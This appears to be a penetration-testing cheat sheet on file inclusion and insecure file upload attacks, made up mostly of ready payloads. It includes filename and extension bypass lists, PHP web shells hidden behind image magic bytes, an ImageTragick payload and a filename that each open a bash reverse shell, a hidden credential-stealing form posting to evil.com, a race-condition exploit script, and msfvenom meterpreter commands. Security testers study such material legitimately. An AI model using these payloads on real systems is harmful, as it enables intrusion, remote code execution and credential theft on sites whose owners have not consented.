# File upload

### What is it?

File Inclusion vulnerabilities allow an attacker to include files on a server through the web browser. This can occur in two forms: Local File Inclusion (LFI) and Remote File Inclusion (RFI). LFI exploits enable attackers to read files on the server, while RFI allows attackers to execute arbitrary code by including remote files over the internet.

**A simple example**

* A vulnerable web application has the endpoint /page?file={filename}
* When a request is made, the application dynamically includes the content of the file specified in the query parameter, for example, PHP's include() function: include($filename);
* If an attacker modifies {filename} to a path such as `../../etc/passwd` or a remote URL `http://attacker.com/malicious.php`, they can read sensitive files or execute malicious code.

It's important to note that the specific impact and exploitation techniques can vary depending on server configuration, programming language, and application logic. File Inclusion vulnerabilities can lead to:

* Sensitive data exposure
* Remote code execution
* Cross-site scripting

**Other learning resources:**

* \[To be updated]

**Writeups:**

Have a good writeup & want to share it here? Drop me a message on [LinkedIn.](https://www.linkedin.com/in/kayemba-h-99082a96/)

### Checklist

* [ ] What is the technology stack you're attacking?
  * [ ] What server-side language is being used (PHP, JSP, ASP, etc.)
  * [ ] Is the application running on a standard web server (Apache, Nginx, IIS)?
* [ ] Identify potential injection points
  * [ ] URL parameters
  * [ ] Form fields
  * [ ] HTTP headers (e.g., Referer, User-Agent)
* [ ] Test for Local File Inclusion (LFI)
  * [ ] Can you access local files? (e.g., ../../../etc/passwd)
  * [ ] Test with common Unix and Windows paths
  * [ ] Test for null byte injection (e.g., ../../../etc/passwd%00)
* [ ] Test for Remote File Inclusion (RFI)
  * [ ] Can you include remote files? (e.g., <http://attacker.com/malicious.php)&#x20>;
  * [ ] Test for protocol wrappers (e.g., php\://, data://)
* [ ] Is user input properly validated and sanitized?
* [ ] Are only allow-listed files allowed to be included?
* [ ] Is the application configured to disallow remote file inclusion?

### Exploitation// Some code

```shellscript
# Basic LFI to read 
/etc/passwd 
../../../../etc/passwd
```

```shellscript
# RFI to execute a remote shell 
http://attacker.com/malicious.php
```

```shellscript
# Using PHP wrappers to bypass restrictions 
php://filter/convert.base64-encode/resource=index.php
```

## Insecure file upload

### What is it?

Insecure File Upload vulnerability is when an application allows uncontrolled and unvalidated upload of files. An attacker can exploit this vulnerability to upload malicious files, like web shells, which can lead to code execution, data leakage, or other types of attacks.

**A simple example**

An application allows users to upload profile pictures without validating the file type and content, or without properly handling the file storage. An attacker can upload a PHP shell script disguised as an image file. When this file is served by the server, the malicious script can be executed.

The impact of insecure file uploads includes:

* Remote Code Execution (RCE)
* Data Leakage
* Server Compromise

**Other learning resources:**

* OWASP: [https://owasp.org/www-community/vulnerabilities/Unrestricted\\\\\_File\\\\\_Upload\&#x20](https://owasp.org/www-community/vulnerabilities/Unrestricted/_File/_Upload\&#x20);
* Swisskyrepo: <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20Insecure%20Files>

### Checklist

* [ ] Understand the file upload functionality
* [ ] Are there file type restrictions?
* [ ] Are there file size restrictions?
* [ ] Are files renamed after upload?
* [ ] Are files checked for content type matching the extension?
* [ ] Test for bypassing file extension filters
* [ ] Upload a file with a double extension (e.g., .jpg.php)
* [ ] Upload a file with a null byte injection (e.g., .php%00.jpg)
* [ ] Test for malicious content within a file
* [ ] Upload a file with a simple XSS payload in its content
* [ ] Test for inadequate file storage handling
* [ ] Are uploaded files accessible from the internet? (Path/URL guessing)
* [ ] Can other users access the uploaded files?

### Exploitation

```shellscript
# Bypass extension filters
# Note: req server misconfig to execute or the ability to rename once it's up
shell.php.jpg

# Null byte injection
shell.php%00.jpg

# Blocklist bypass
shell.php5
shell.phtmlclick
```

## File upload

```shellscript
# File name validation
    # extension blacklisted:
    PHP: .phtm, phtml, .phps, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .pgif, .inc
    ASP: .asp, .aspx, .cer, .asa
    Jsp: .jsp, .jspx, .jsw, .jsv, .jspf
    Coldfusion: .cfm, .cfml, .cfc, .dbm
    Using random capitalization: .pHp, .pHP5, .PhAr
    pht,phpt,phtml,php3,php4,php5,php6,php7,phar,pgif,phtm,phps,shtml,phar,pgif,inc
    # extension whitelisted:
    file.jpg.php
    file.php.jpg
    file.php.blah123jpg
    file.php%00.jpg
    file.php\x00.jpg
    file.php%00
    file.php%20
    file.php%0d%0a.jpg
    file.php.....
    file.php/
    file.php.\
    file.
    .html
# Content type bypass
    - Preserve name, but change content-type
    Content-Type: image/jpeg, image/gif, image/png
# Content length:
    # Small bad code:
    <?='$_GET[x]'?>
    
# Impact by extension
asp, aspx, php5, php, php3: webshell, rce
svg: stored xss, ssrf, xxe
gif: stored xss, ssrf
csv: csv injection
xml: xxe
avi: lfi, ssrf
html, js: html injection, xss, open redirect
png, jpeg: pixel flood attack dos
zip: rce via lfi, dos
pdf, pptx: ssrf, blind xxe

# Path traversal
../../etc/passwd/logo.png
../../../logo.png

# SQLi
'sleep(10).jpg
sleep(10)-- -.jpg

# Command injection
; sleep 10;

# ImageTragick
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

# XXE .svg
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1
<text font-size="40" x="0" y="16">&xxe;</text>
</svg>

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>

# XSS svg
<svg onload=alert(document.comain)>.svg
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
File Upload Checklist 3
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("HolyBugx XSS");
</script>
</svg>

# Open redirect svg
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='https://attacker.com'"
xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
</svg>
</code>
    
# Filter Bypassing Techniques
# upload asp file using .cer & .asa extension (IIS — Windows)
# Upload .eml file when content-type = text/HTML
# Inject null byte shell.php%001.jpg
# Check for .svg file upload you can achieve stored XSS using XML payload
# put file name ../../logo.png or ../../etc/passwd/logo.png to get directory traversal via upload file
# Upload large size file for DoS attack test using the image.
# (magic number) upload shell.php change content-type to image/gif and start content with GIF89a; will do the job!
# If web app allows for zip upload then rename the file to pwd.jpg bcoz developer handle it via command
# upload the file using SQL command 'sleep(10).jpg you may achieve SQL if image directly saves to DB.

# Advance Bypassing techniques
# Imagetragick aka ImageMagick:
https://mukarramkhalid.com/imagemagick-imagetragick-exploit/
https://github.com/neex/gifoeb
    
# Upload file tool
https://github.com/almandin/fuxploider
python3 fuxploider.py --url https://example.com --not-regex "wrong file type"

https://github.com/sAjibuu/upload_bypass
```

#### Cheatsheet

```shellscript
upload.random123		---	To test if random file extensions can be uploaded.
upload.php			---	try to upload a simple php file.
upload.php.jpeg 		--- 	To bypass the blacklist.
upload.jpg.php 			---	To bypass the blacklist. 
upload.php 			---	and Then Change the content type of the file to image or jpeg.
upload.php*			---	version - 1 2 3 4 5 6 7.
upload.PHP			---	To bypass The BlackList.
upload.PhP			---	To bypass The BlackList.
upload.pHp			---	To bypass The BlackList.
upload .htaccess 		--- 	By uploading this [jpg,png] files can be executed as php with milicious code within it.
pixelFlood.jpg			---	To test againt the DOS.
frameflood.gif			---	upload gif file with 10^10 Frames
Malicious zTXT  		--- 	upload UBER.jpg 
Upload zip file			---	test againts Zip slip (only when file upload supports zip file)
Check Overwrite Issue		--- 	Upload file.txt and file.txt with different content and check if 2nd file.txt overwrites 1st file
SVG to XSS			---	Check if you can upload SVG files and can turn them to cause XSS on the target app
SQLi Via File upload		---	Try uploading `sleep(10)-- -.jpg` as file
```

![](https://1729840239-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M5x1LJiRQvXWpt04_ee%2F-Mc98SRU_YMf-VQ6QyjW%2F-Mc98XubnHvMuxmO__Gd%2Fimage.png?alt=media\&token=53e73826-afd2-4d89-aeeb-d7848266d9f1)

## File Upload Attack <a href="#file-upload-attack" id="file-upload-attack"></a>

It is often used for gaining access to the target shell using Reverse Shell, or getting sensitive information using Remote Code Execution (RCE).

### Check Allowed File Extensions <a href="#check-allowed-file-extensions" id="check-allowed-file-extensions"></a>

First off, we need to know what file types are allowed to be uploaded in target website.\
Try to upload any formats.

```shellscript
.php, .php3, .php4, .php5, .phtml, .phar
.jpg, jpeg, .png, .gif
.bmp
.pdf
.js
.exe, .dll, .asp, .aspx
.jsp, .jspf, .jspx, .xsp
.py
.go
.rs
```

#### Create Blank Files for Each Format <a href="#create-blank-files-for-each-format" id="create-blank-files-for-each-format"></a>

To create a blank file for the checking purpose, execute the following command.

* **jpg, png**

```
# https://superuser.com/questions/294943/is-there-a-utility-to-create-blank-images
convert -size 32x32 xc:white test.jpg
convert -size 32x32 xc:white test.png
```

* **pdf**

```
# https://unix.stackexchange.com/questions/277892/how-do-i-create-a-blank-pdf-from-the-command-line
convert xc:none -page Letter a.pdf
```

### Bypass File Extension Validation <a href="#bypass-file-extension-validation" id="bypass-file-extension-validation"></a>

We might be able to bypass file extension validation by modifying the filename.\
For example, if we cannot upload a pure **`.php`** file extension, tweak the filename a bit as below.

```shellscript
exploit.php
exploit.php3
exploit.php4
exploit.php5
exploit.phtml
exploit.phar

exploit.jpg.php
exploit.jpeg.php
exploit.png.php
exploit.gif.php
exploit.pdf.php

exploit.php.
exploit.php.jpg
exploit.php.jpeg
exploit.php.png
exploit%2Ephp
exploit.p.phphp
exploit.php%00.jpg
exploit.php%0d%0a.jpg

exploit.PHP
exploit.pHp

exploit.php/
exploit.php//
exploit.php\
exploit.php#
exploit..php
```

### Bypass Content-Type Validation <a href="#bypass-content-type-validation" id="bypass-content-type-validation"></a>

We might be able to bypass the content type validation by modifying that.\
For example, assume that we want to upload **`PHP`** file to execute **webshell** or **reverse shell**, but `PHP` files are rejected by the website.\
In this situation, we might be able to bypass the validation by modifying the **"Content-Type"** from **"application/x-php"** to other types such as **"image/jpeg"**, **"plain/text"** etc.\
Here is the example.

```
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: image/jpeg <!-- Change this. Try other types such as image/gif, plain/text, etc. -->

<?php echo system($_GET['cmd']); ?>

------abcdefghijk
```

### Change Upload Location by Filename <a href="#change-upload-location-by-filename" id="change-upload-location-by-filename"></a>

We might be able to upload our file to **unintended location** by path traversing with filename e.g. **`../example.php`** or **`..%2Fexample.php`**.

```shellscript
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename="..%2fexploit.php" <!-- Change this. -->
Content-Type: application/x-php

<?php echo system($_GET['cmd']); ?>

------abcdefghijk
```

Do not forget to test bypass techniques as below:

```shellscript
# URL encoding
%2E%2E%2Fexploit.php

# URL double-encoding
%252E%252E%252Fexploit.php
..%252Fexploit.php
```

### Overwrite Server Configuration <a href="#overwrite-server-configuration" id="overwrite-server-configuration"></a>

We might be able to overwrite the web server configuration file such as **".htaccess"**, **".htpasswd"** by specifying the filename to the name of the config file and write desired contents of that.

```
------abcdefghijk
Content-Disposition: form-data; name="avatar"; filename=".htaccess" <!-- Specify the name of config file -->
Content-Type: text/plain

AddType application/x-httpd-php .abc

------abcdefghijk
```

### Magic Bytes <a href="#magic-bytes" id="magic-bytes"></a>

Reference: [Wikipedia](https://en.wikipedia.org/wiki/List_of_file_signatures)

If the website checks the magic byte of the uploaded file for allowing only image files to be uploaded, we might be able to bypass this validation by adding magic bytes before the actual payload.

The **`exif_imagetype()`** PHP function is likely to be used for such validation.\
In addition, we may need to change other values such as **"Content-Type"** depending on the situation.

#### PNG <a href="#png" id="png"></a>

| Hex Signature             | ISO 8859-1 |
| ------------------------- | ---------- |
| `89 50 4E 47 0D 0A 1A 0A` | `‰PNG␍␊␚␊` |

Payload example:

```
‰PNG␍␊␚␊
<?php echo system($_GET['cmd']); ?>
```

#### JPG/JPEG <a href="#jpgjpeg" id="jpgjpeg"></a>

| Hex Signature                         | ISO 8859-1     |
| ------------------------------------- | -------------- |
| `FF D8 FF EE`                         | `ÿØÿî`         |
| `FF D8 FF E0`                         | `ÿØÿà`         |
| `FF D8 FF E0 00 10 4A 46 49 46 00 01` | `ÿØÿà␀␐JFIF␀␁` |

Payload example:

```shellscript
ÿØÿî
<?php echo system($_GET['cmd']); ?>

// or

ÿØÿà
<?php echo system($_GET['cmd']); ?>

// or

ÿØÿà␀␐JFIF␀␁
<?php echo system($_GET['cmd']); ?>
```

#### PDF <a href="#pdf" id="pdf"></a>

| Hex Signature    | ISO 8859-1 |
| ---------------- | ---------- |
| `25 50 44 46 2D` | `%PDF-`    |

Payload example:

```shellscript
%PDF-
<?php echo system($_GET['cmd']); ?>
```

#### GIF <a href="#gif" id="gif"></a>

Reference: [Web Design in a Nutshell](https://docstore.mik.ua/orelly/web2/wdesign/ch19_01.htm)

* **GIF87a**: The original format for indexed color images. It uses LZW compression and has the option of being interlaced.
* **GIF89a**: Is the same as **GIF87a** but also includes transparancy and animation capabilities.

| Hex Signature       | ISO 8859-1 |
| ------------------- | ---------- |
| `47 49 46 38 37 61` | `GIF87a`   |
| `47 49 46 38 39 61` | `GIF89a`   |

Payload example:

```
GIF87a
<?php echo system($_GET['cmd']); ?>

// or

GIF89a
<?php echo system($_GET['cmd']); ?>
```

#### RIFF WAVE <a href="#riff-wave" id="riff-wave"></a>

| Hex Signature                         | ISO 8859-1     |
| ------------------------------------- | -------------- |
| `52 49 46 46 ?? ?? ?? ?? 57 41 56 45` | `RIFF????WAVE` |

Payload example:

```
RIFF????WAVE
<?php echo system($_GET['cmd']); ?>
```

### Combine payload into image file <a href="#combine-payload-into-image-file" id="combine-payload-into-image-file"></a>

The payload can be executed by combining into an image file data.\
For example, generate a blank image file at first:

```
convert -size 32x32 xc:white test.jpg
```

And then we can put our payload to the end of the image data:

```shellscript
ÿØÿàJFIFHHÿÛC
 $.' ",#(7),01444'9=82<.342ÿÀ ÿÄÿÄÿÚ?
<?php echo system("whoami");?>
```

### Zip <a href="#zip" id="zip"></a>

If target website restricts uploads to zip files only, the website (server) may unzip uploaded files internally and displays the result of decompressed file somewhere e.g. `/upload/example.txt`.

#### Zip Slip <a href="#zip-slip" id="zip-slip"></a>

Create a file containing ‘../’ in the filename, and compress this file.

```
echo '<?php echo system("id");?>' > '../test.php'
zip test.zip '../test.php'
```

After uploading the zip file, target website (server) will decompress this file and may store the `test.php` file into unexpected directory.

#### LFI with Symlinks <a href="#lfi-with-symlinks" id="lfi-with-symlinks"></a>

In local machine, create a symbolic link for a sensitive file. Then compress the symlink with `zip`.

```
ln -s /etc/passwd passwd.txt
zip --symlink test.zip passwd.txt
```

When we upload the zip file to target website, the website decompress the zip file and may display the file of the symbolic link (`/etc/passwd`, etc.). In short, we may be able to see the contents of the sensitive file.

### JPEG Polyglot XSS <a href="#jpeg-polyglot-xss" id="jpeg-polyglot-xss"></a>

Reference: <https://infosecwriteups.com/exploiting-xss-with-javascript-jpeg-polyglot-4cff06f8201a>

We may be able to inject XSS by inserting arbitrary JavaScript code into a JPEG file.\
We can generate automatically a polyglot JPEG with [imgjs\_polygloter](https://github.com/s-3ntinel/imgjs_polygloter).

Below is the manual exploitation flow.

#### 1. Prepare JPEG Image <a href="#id-1-prepare-jpeg-image" id="id-1-prepare-jpeg-image"></a>

Here we create a blank JPEG image using `convert` command.

```shellscript
convert -size 100x100 xc:white evil.jpg

# Backup for reproduction
cp evil.jpg evil_original.jpg
```

#### 2. Create XSS Payload in Hex <a href="#id-2-create-xss-payload-in-hex" id="id-2-create-xss-payload-in-hex"></a>

We will insert the following JavaScript code.

```shellscript
*/=alert("test");/*
```

To insert it into JPEG file, we need to convert this to HEX as below:

```shellscript
2A 2F 3D 61 6C 65 72 74 28 22 74 65 73 74 22 29 3B 2F 2A
```

#### 3. Start Hex Editor <a href="#id-3-start-hex-editor" id="id-3-start-hex-editor"></a>

Start Hex editor to modify our `evil.jpg`. We use `ghex` here but you can use your favorite HEX editor.

```shellscript
ghex evil.jpg
```

The original hex representation of the `evil.jpg` is as such follow:

```shellscript
FF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 48 00 ...

# Details of the Hex
# FF D8: Start of image
# FF E0: Application default header
# 00 10: The length of the JPEG header (`00 10` represents 16 bytes)
```

#### 4. Insert Our JavaScript into JPEG File <a href="#id-4-insert-our-javascript-into-jpeg-file" id="id-4-insert-our-javascript-into-jpeg-file"></a>

Now start inserting our payload.\
First we replace `00 10` after `FF D8 FF E0` with our `2F 2A (/*)`.

```shellscript
FF D8 FF E0 2F 2A 4A 46 49 46 00 01 01 01 00 48 00 ...
```

By this, the length of the JPEG header is **12074 bytes** (`0x2F2A` in decimal).

Since the size of our payload is **19 bytes** as below:

```shellscript
python3
>>> payload = b'*/=alert("test");/*'
>>> len(payload)
19
```

We need to pad out the remaining **12042 bytes** (**12074 - 16 - 19**) with nulls.\
Below is the Python code example to generate a polyglot JPEG file, which refers to <https://github.com/simplylu/jpeg_polyglot_xss/blob/main/exploit.py>.

```shellscript
payload = b'*/=alert("test");/*'
input_file = 'evil_original.jpg'
output_file = 'evil.jpg'

a = open(input_file, 'rb').read()

# Get the length of the header
header_size = int(a.hex()[8:12], 16)
new_header_size = int(payload.hex()[2:4]+payload.hex()[:2], 16)

# Calculate the size of nulls for padding
null_size = new_header_size - header_size - 16

# Get start and end
start = a[:40]
end = a.hex()[40:]
end = bytearray([int(end[i:i+2], 16) for i in range(0, len(end), 2)])

res = start + (null_size * b'\x00') + payload + end

with open(output_file, 'wb') as f:
    f.write(res)
```

#### 5. XSS with this JPEG <a href="#id-5-xss-with-this-jpeg" id="id-5-xss-with-this-jpeg"></a>

Inject XSS to make our JPEG to execute JavaScript code. We need to set `charset` to `ISO-8859-1` for executing that.

```
<script charset="ISO-8859-1" src="evil.jpg">
```

### Malicious Filnames <a href="#malicious-filnames" id="malicious-filnames"></a>

#### Command Injection <a href="#command-injection" id="command-injection"></a>

```shellscript
# If the response comes after 10 seconds, the command injection is successful.
test.jpg;sleep 10
test.jpg;sleep+10
test.jpg;sleep 10#
test.jpg;sleep 10%00
test.jpg|sleep 10
test.jpg%0Asleep 10
;sleep 10 test.jpg

# Reverse Shell
test.jpg;bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
```

#### PHP Injection <a href="#php-injection" id="php-injection"></a>

```shellscript
<?php echo system('id');?>.jpg
"><?php echo system('id');?>.jpg
```

#### XSS <a href="#xss" id="xss"></a>

```shellscript
<script>alert(1)</script>.jpg
"><script>alert(1)</script>.jpg
```

\### SSTI

```shellscript
{{2*3}}.jpg
{2*3}.jpg
2*3.jpg
2*3}}.jpg
2*3}.jpg
${2*3}.jpg
"{{2*3}}.jpg
```

\### Truncation

```
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxtest.jpg
test.jpgxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
```

\### HTML Injection Try to upload the file which includes \*\*HTML tags\*\* in the filename. It may affect the web page.

```shellscript
<h1>test.jpg

<!-- `&sol;`: HTML entiry for '/' -->
"><iframe src="http:&sol;&sol;10.0.0.1">.jpg

"><img src=x onerror=alert(document.domain).jpg

"><form action="//evil.com" method="GET"><input type="text" name="username" style="opacity:0;"><input type="password" name="password" style="opacity:0;"><input type="submit" name="submit" value="submit"><!--.jpg
```

\### SQL Injection Try to upload the file which includes \*\*SQL command\*\* in the filename. It may execute \*\*SQL Injection\*\* when uploading or other situations.

```shellscript
--sleep(10).jpg
```

\## Race Condition Attack We might be able to bypass/execute payload using race condition. We can easily achieve that with \*\*Turbo Intruder\*\* in \*\*Burp Suite\*\*.

```shellscript
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                        concurrentConnections=10,)

    request_post = '''POST /avatar/upload HTTP/1.1
Host: vulnerable.com
...
...
Connection: close

------abcdefghi
Content-Disposition: form-data; name="avatar"; filename="exploit.php"
Content-Type: application/x-php

<?php echo file_get_contents('/etc/passwd');  ?>

------abcdefghijk--

'''

    request_get = '''GET /files/avatars/exploit.php HTTP/1.1
Host: vulnerable.com
...
...
Connection: close


'''

    engine.queue(request_post, gate='race1')
    for i in range(5):
        engine.queue(request_get, gate='race1')


    engine.openGate('race1')
    engine.complete(timeout=60)



def handleResponse(req, interesting):
    table.add(req)
```

\## PHP Payloads After finding vulnerability, we can create a payload for exploiting the website. Here is the example payloads of \*\*web shell\*\* and \*\*reverse shell\*\* to compromise target system. ### Web Shell For example, the file name is "exploit.php".

```shellscript
// Simply showing the result of 'whoami'.
<?php echo system('whoami'); ?>

// This shows the content of "/etc/passwd".
<?php echo file_get_contents('/etc/passwd');  ?>

// We can execute arbitrary commands by passing the url parameter e.g. "/exploit.php?cmd=whoami"
<?php echo system($_GET['cmd']); ?>
```

\### Reverse Shell for Linux

```shellscript
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O shell.php
# or
cp /usr/share/webshells/php/php-reverse-shell.php ./shell.php

# Edit some variables in the payload
$ip = '<attacker-ip>'
$port = 4444
```

Or we might be able to use the following simple script.

```
<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'"); ?>
```

Then open listener for getting a shell.

```shellscript
nc -lvnp 4444
```

After uploading it, reload the page in which the payload uploaded e.g. \`"/upload/shell.php"\`. ### Reverse Shell for Windows First create a malicious executable file using msfvenom. Replace \*\*10.0.0.1\*\* with your local ip.

```shellscript
# -f: Format
# -p: Payload
# -o: Output file
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe -o cv-username.exe
```

Next start a listener for getting the target shell.

```shellscript
# -x: Execute command
sudo msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 10.0.0.1; set LPORT 4444; exploit"
```

After getting the shell, we will get in the meterpreter, so we need to know the meterpreter’s commands. To get a list of command, run the following in the meterpreter.

```shellscript
# Usage command
meterpreter> ?
```

\## Other Tips ### Craft Upload Request If website does not display the upload page but such functionality exists on the website, we can manually create the uploading request. First off, we need to set \*\*\`multipart/form-data; boundary=\`\*\* to \*\*Content-Type\*\* in \*\*HTTP headers\*\* as below. Of course we need to specify the \*\*POST\*\* method at the top of the header.

```shellscript
Content-Type: multipart/form-data; boundary=abcdef
```

Then we can surround \*\*POST body (to upload file)\*\* with this boundary as the following.

```shellscript
--abcdef
Content-Disposition: form-data; name="profile"; filename="test.png"
Content-Type: image/jpeg

some code here...
--abcdef--
```

\## References -

* [ O'reilly](https://docstore.mik.ua/orelly/web2/wdesign/ch19_01.htm)
* [saadahmedx](https://saadahmedx.medium.com/exploiting-auto-save-functionality-to-steal-login-credentials-bf4c7e1594da)
